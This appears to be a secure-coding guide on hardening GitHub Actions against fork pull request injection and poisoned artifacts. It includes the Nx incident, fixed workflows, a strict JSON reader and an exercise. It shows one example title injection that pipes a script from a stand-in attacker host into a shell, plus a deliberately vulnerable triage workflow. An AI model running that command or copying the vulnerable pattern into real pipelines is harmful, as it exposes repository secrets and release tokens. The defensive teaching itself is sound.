Treat everything a pull request controls as data: titles, branch names, artifacts and cache entries. Never place ${{ github.event.* }} text directly in a run: script; pass it through env: and quote the variable. Never check out, unpack or execute fork content in pull_request_target or workflow_run jobs, which hold the base repository token. Download one bounded artifact, parse it against a strict schema, and let only trusted triggers write release caches.
- GitHub substitutes
${{ }}expressions into the script text before the shell runs, so a pull request title can become a command. - In August 2025 a title injection in an Nx
pull_request_targetworkflow led to a stolen npm token and maliciousnxreleases. - A
workflow_runjob never checks out the pull request, yet anything it executes from an artifact runs with its write authority. actions/checkoutv7 refuses fork checkouts in privileged triggers, but notgitorghinrun:steps, artifacts or caches.- Since 2026-06-26 untrusted triggers get read-only tokens for the default-branch cache; do not override that with
cache-mode: write.
| Setting | Value | Note | Source |
|---|---|---|---|
Event text used in run: | Pass through env: and reference as "$VAR" | — | GitHub Docs: script injections |
Workflow-level permissions | {}; grant each job only the scopes it uses | — | GitHub Actions secure use reference |
| Cross-run artifact download | run-id, github-token with actions: read, skip-decompress: true, digest-mismatch: error | — | actions/download-artifact |
Cache writes from pull_request_target, issue_comment and fork workflow_run | Read-only since 2026-06-26; leave cache-mode at its default | — | GitHub changelog: read-only Actions cache for untrusted triggers (2026-06-26) |
allow-unsafe-pr-checkout | Unset (false) | Setting it to true re-enables fork checkouts in privileged triggers. | GitHub changelog: safer pull_request_target defaults for actions/checkout (2026-06-18) |
- Run
zizmor .github/workflows/and resolve everytemplate-injectionanddangerous-triggersfinding, or record the reason in an inline ignore comment. - Run
actionlint; it reports untrusted expressions such asgithub.event.pull_request.titleused directly inrun:. - In a test repository, open a pull request titled
a"; echo INJECTED; echo "and confirm no job log printsINJECTED. - Run the reader against J1 to J5 from the exercise and confirm that only J1 is accepted.
- Search the workflows for
cache-mode: writeandallow-unsafe-pr-checkout; each occurrence needs a documented review.
- Applies to
- actions/checkout v7.0.0 and later, or the backported v6.1.0, v5.1.0, v4.4.0, v3.7.0 and v2.8.0
- actions/download-artifact v8.0.0 or later (skip-decompress and digest-mismatch inputs)
Untrusted pull requests and privileged release jobs. Provider event semantics and reusable workflows need explicit review.
- Part of
- Learning path: From source to trusted release (step 7 of 12). Workflows: Fix a finding, Respond to a vulnerability
Tested fixes: the vulnerable code, the fix, a plausible fix that still fails, and the regression tests that tell them apart.
Learning goals and prerequisites
What you will learn
- Find privilege crossings through artifacts and caches.
- Replace an executable handoff with a bounded data schema.
- Test near-miss input types and persistent influence independently.
Before you start
Maintainers of repositories that accept outside contributions and engineers who write their GitHub Actions workflows
- Trace CI event data, job permissions, checkout revision and artifact hand-offs.
Refresh first: Protect the path from pull request to release
Go to the guided practiceHow a fork pull request reaches privileged credentials
- Fork pull requestAn outside contributor opens a pull request from a fork. Its code, title, branch name, test fixtures and any files it builds are attacker-controlled.
- Privileged trigger
pull_request_targetruns the workflow file from the base repository's default branch, in the base context: it gets the repository and organization secrets, aGITHUB_TOKENthat can carry write scopes, and read access to the default-branch cache. - Pwn requestIf that job checks out the pull request head (
ref: ${{ github.event.pull_request.head.sha }},git fetchorgh pr checkout) and builds, installs or tests it, or pastes a pull request field intorun:, the attacker's code runs with those secrets and that token.actions/checkoutnow refuses the first form by default; the others still work. - Untrusted half of the splitRun the build and tests under
pull_request, where a fork run gets a read-only token and no secrets, and upload only a small data file such ascounts.json. - Privileged half of the splitA
workflow_runjob from the default branch downloads that one artifact, validates it as bounded data against a strict schema, never executes anything from it, and only then uses its narrow token, for example to set a commit status.
pull_request_target and workflow_run run in the base repository with its secrets and token, so anything they execute from a fork inherits both. Keep fork code in pull_request jobs and pass only validated data across.A workflow boundary is crossed whenever less trusted data influences a more privileged execution. A pull request can change code, dependency manifests, test fixtures and filenames. A later job may grant credentials to data created by that pull request through artifact download, generated scripts or a shared cache. Treat each edge as an input channel. Merely putting privileged work in another YAML file does not remove that channel.
In this guide, a contributor test produces report.zip. A workflow_run job downloads it and runs summarize.sh from inside the archive before posting a report. The contributor controls the script, while the second job has a write token. That composition creates a privilege crossing even though the privileged job never explicitly checks out the pull request. Authentication of the artifact's origin proves which run produced it; it does not make its executable content trustworthy. Untrusted outputs must remain data under a constrained parser or be rebuilt from trusted inputs.
The runner evaluates ${{ }} expressions and pastes the results into the script before the shell parses it. A pull request title, issue body, branch name or commit message is attacker-chosen text, so a title such as a"; curl -sSf https://attacker.invalid/x | sh; echo " closes the quoted string and runs a command. The workflow below combines that injection with pull_request_target, which hands the job a token with pull-requests: write and the repository secrets. Untrusted context fields typically end in body, default_branch, email, head_ref, label, message, name, page_name, ref or title.
This is how the Nx packages were compromised in August 2025. A pull_request_target workflow echoed github.event.pull_request.title in a run: step; an attacker used it to trigger the privileged publish workflow with a malicious commit, sent its npm token to a webhook, and then published nx versions whose postinstall script stole developer credentials (CVE-2025-10894). Nx believes the attacker targeted an outdated branch that still contained the workflow after it was removed from the default branch; since 2025-12-08 pull_request_target always runs the default-branch workflow file. The Actions injection lab at /labs/actions-injection/ has you repair a linter that misses this pattern.
name: Triage
on:
pull_request_target:
types: [opened, edited]
permissions:
pull-requests: write
jobs:
title:
runs-on: ubuntu-latest
steps:
- run: |
echo "Checking title: ${{ github.event.pull_request.title }}"The repair moves the title into an environment variable, so the shell receives it as a value and never as script text, and quotes it as "$TITLE" to prevent word splitting. A title check needs no write access, so the job also moves to pull_request and drops every token permission. Apply the same rule to actions/github-script: read process.env.TITLE inside the script rather than interpolating ${{ }} into JavaScript. The variable is still untrusted after this change; never pass it to eval, a template engine or an unquoted command line.
name: Triage
on:
pull_request:
types: [opened, edited, synchronize]
permissions: {}
jobs:
title:
runs-on: ubuntu-latest
steps:
- env:
TITLE: ${{ github.event.pull_request.title }}
run: |
if [[ "$TITLE" =~ ^(feat|fix|docs):\ ]]; then
echo "Title format accepted"
else
echo "::error::Start the title with feat:, fix: or docs:"
exit 1
fiFor the fictional workflow below, the report consumer needs only passed and failed test counts. A safe handoff can accept a bounded JSON object, reject unexpected keys/types and never execute files supplied by the producer. The protected consumer implementation defines the parser and rendering behavior. It must also select the intended run and artifact using verified metadata, enforce size limits, and handle malformed input without falling back to shell execution.
The reader below implements the fixture contract: at most 4096 bytes, one JSON object with exactly the keys passed and failed, and integers from 0 to 100000. It rejects duplicate keys and NaN, and compares the exact type because Python bool is a subclass of int, so isinstance(True, int) is true. It prints only the validated numbers, formats nothing from the input, and never extracts filenames, resolves symlinks or runs a bundled script. If a richer report is required, expand the schema intentionally and test text rendering as untrusted content.
"""Read an untrusted test-count file. It is parsed as data and never executed."""
import json
import sys
MAX_BYTES = 4096
LIMIT = 100_000
def unique_keys(pairs):
keys = [key for key, _ in pairs]
if len(keys) != len(set(keys)):
raise ValueError("duplicate key")
return dict(pairs)
def no_constants(name):
raise ValueError(f"{name} is not allowed")
def read_counts(raw: bytes) -> tuple[int, int]:
if len(raw) > MAX_BYTES:
raise ValueError(f"larger than {MAX_BYTES} bytes")
data = json.loads(raw, object_pairs_hook=unique_keys, parse_constant=no_constants)
if not isinstance(data, dict) or set(data) != {"passed", "failed"}:
raise ValueError("expected exactly the keys passed and failed")
for key in ("passed", "failed"):
# bool is a subclass of int, so compare the exact type.
if type(data[key]) is not int or not 0 <= data[key] <= LIMIT:
raise ValueError(f"{key} must be an integer from 0 to {LIMIT}")
return data["passed"], data["failed"]
if __name__ == "__main__":
with open(sys.argv[1], "rb") as handle:
raw = handle.read(MAX_BYTES + 1)
try:
passed, failed = read_counts(raw)
except (ValueError, RecursionError) as error:
sys.exit(f"rejected: {error}")
print(f"passed={passed}")
print(f"failed={failed}")The test workflow uploads counts.json as a single unarchived file with actions/upload-artifact and archive: false. The report workflow below runs from the default branch, so its checkout contains the reviewed reader rather than pull request code. It downloads that one file from the triggering run with skip-decompress: true, so nothing is unpacked, and with digest-mismatch: error. The validated counts then become a commit status through environment variables. Its token can read Actions artifacts and write statuses; it cannot push code or read secrets that the job does not reference. /domains/supply-chain/ci-cd/github-actions-hardening/ applies the same split to a comment bot and adds a jq schema check.
zizmor reports dangerous-triggers for every workflow_run workflow. The inline ignore records why this one is accepted: it executes no pull request code and treats the artifact as bounded data. Keep that reason accurate when the workflow changes.
name: Report
on: # zizmor: ignore[dangerous-triggers] -- runs no pull request code
workflow_run:
workflows: [Test]
types: [completed]
permissions: {}
jobs:
report:
if: github.event.workflow_run.event == 'pull_request'
runs-on: ubuntu-latest
permissions:
actions: read # download the artifact from the triggering run
contents: read # check out the reader from the default branch
statuses: write # publish the result as a commit status
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
- uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1
with:
name: counts.json
run-id: ${{ github.event.workflow_run.id }}
github-token: ${{ github.token }}
path: ${{ runner.temp }}/counts
skip-decompress: true
digest-mismatch: error
- id: counts
run: python3 .github/scripts/read_counts.py "$RUNNER_TEMP/counts/counts.json" >> "$GITHUB_OUTPUT"
- env:
GH_TOKEN: ${{ github.token }}
HEAD_SHA: ${{ github.event.workflow_run.head_sha }}
PASSED: ${{ steps.counts.outputs.passed }}
FAILED: ${{ steps.counts.outputs.failed }}
run: |
state=success
if [ "$FAILED" -gt 0 ]; then state=failure; fi
gh api "repos/$GITHUB_REPOSITORY/statuses/$HEAD_SHA" \
-f state="$state" -f context=tests/report \
-f description="$PASSED passed, $FAILED failed"A secret-access probe, a write-permission probe and a persistence probe establish different properties. A clean log does not prove that a secret was unavailable; masking can hide it. In an authorized test environment, use synthetic canaries and inspect effective permissions or audit events. A harmless marker written by an untrusted job should never appear in the next protected workspace or restored release cache. A report with an extra executable field should fail schema validation before any privileged action.
The exercise below is a desk assessment with complete proposed inputs. It lets you reason about a handoff without running malicious scripts or contacting external services. A real rollout additionally tests the workflow's event conditions, run selection, artifact permission rules and race behavior. Retain those observations as evidence tied to the workflow revision, together with zizmor and actionlint results for the same revision. A green workflow that still executes the archive's summarize.sh fails the design requirement even if its output looks benign.
Guided practice
A privileged report job consumes a fork PR artifact. Replace the executable handoff with the smallest data contract that meets its purpose.
Supplied scenario material
E1 test workflow: fork pull_request, no secrets, contents read, disposable worker; produces report.zip including summary.json and summarize.sh.
E2 report workflow: workflow_run, contents write, clean worker; downloads the triggering run artifact; unzips and executes summarize.sh.
Need: publish counts only. No attachments or dynamic templates required.
Proposed inputs:
J1 = {"passed": 120, "failed": 0}
J2 = {"passed": 120, "failed": 0, "script": "echo hello"}
J3 = {"passed": "120", "failed": 0}
J4 = {"passed": 100001, "failed": 0}
J5 = {"passed": true, "failed": 0}
Contract: exact keys passed/failed; integer type excluding boolean; range 0..100000; <=4096 bytes.
Release cache accepts writes only from release workflow; PR cache has a separate store.1. Identify the crossing
Name the attacker-controlled object and authority it receives.
Expected result and reasoning
The PR controls
summarize.shinreport.zip. E2 executes it with contents write, creating a code-execution handoff into a privileged job despite E1 itself having little authority.2. Remove unnecessary interpretation
Design a consumer satisfying the supplied need.
Expected result and reasoning
Download only the expected counts object using verified run/artifact metadata, cap bytes, parse the exact schema and render a protected fixed template. Do not unzip or execute
summarize.sh. The count values remain untrusted claims about test results.3. Evaluate the five inputs
Apply the complete contract and explain every denial.
Accept or reject each input under the contract
Expected result and reasoning
Accept J1. Reject J2 for extra key, J3 for string type, J4 for out-of-range value and J5 because boolean is not an accepted integer. In Python an
isinstance(value, int)check alone would wrongly acceptbool.4. Assess cache isolation
Explain why a shared key prefix would weaken the supplied cache separation.
Expected result and reasoning
A release restore fallback into a PR-writable store could consume attacker-controlled state. Store/access separation must hold even on cache misses; a naming convention alone is not the authority boundary.
5. Specify the test record
Write a harmless negative test for the protected workflow.
Expected result and reasoning
Submit J2 under an authorized fixture run. Expected: schema rejection, no report publication, no execution of any supplied file, rejection reason extra key retained. This is a proposed validation criterion, not an assertion that the workflow has been tested.
The reader and workflows on this page are tested examples; the exercise itself does not execute hostile code or verify runner isolation.
Save a draft on this device to resume later. Automatic saving begins after you choose Save. Drafts are never sent by this application; use synthetic data.
No draft saved on this device yet.
Repair the code
Actions injection lab: Flag GitHub Actions expression injection
Sources & further reading
The standards, specifications and documentation behind the guidance above. Each is the evidence for a claim on this page; consult it for detail beyond the defaults and versions listed here.
- GitHub Actions secure use reference
- SLSA 1.2 specification. v1.2 (approved November 2025).
- GitHub Docs: script injections
- GitHub Docs: dependency caching reference
- GitHub changelog: safer pull_request_target defaults for actions/checkout (2026-06-18)
- GitHub changelog: read-only Actions cache for untrusted triggers (2026-06-26)
- Nx security advisory GHSA-cxm3-wv7p-598c: malicious versions of Nx and some supporting plugins were published. 27 August 2025.
- actions/download-artifact
- zizmor audit rules
- OWASP Top 10 CI/CD Security Risks: CICD-SEC-4 Poisoned Pipeline Execution (PPE). v1.0 (2022).
- OWASP Top 10 CI/CD Security Risks: CICD-SEC-5 Insufficient PBAC (Pipeline-Based Access Controls). v1.0 (2022).
Reference information
- SDLC phase
- DevelopmentRelease
- Role
- Developers
- CAPEC attack patterns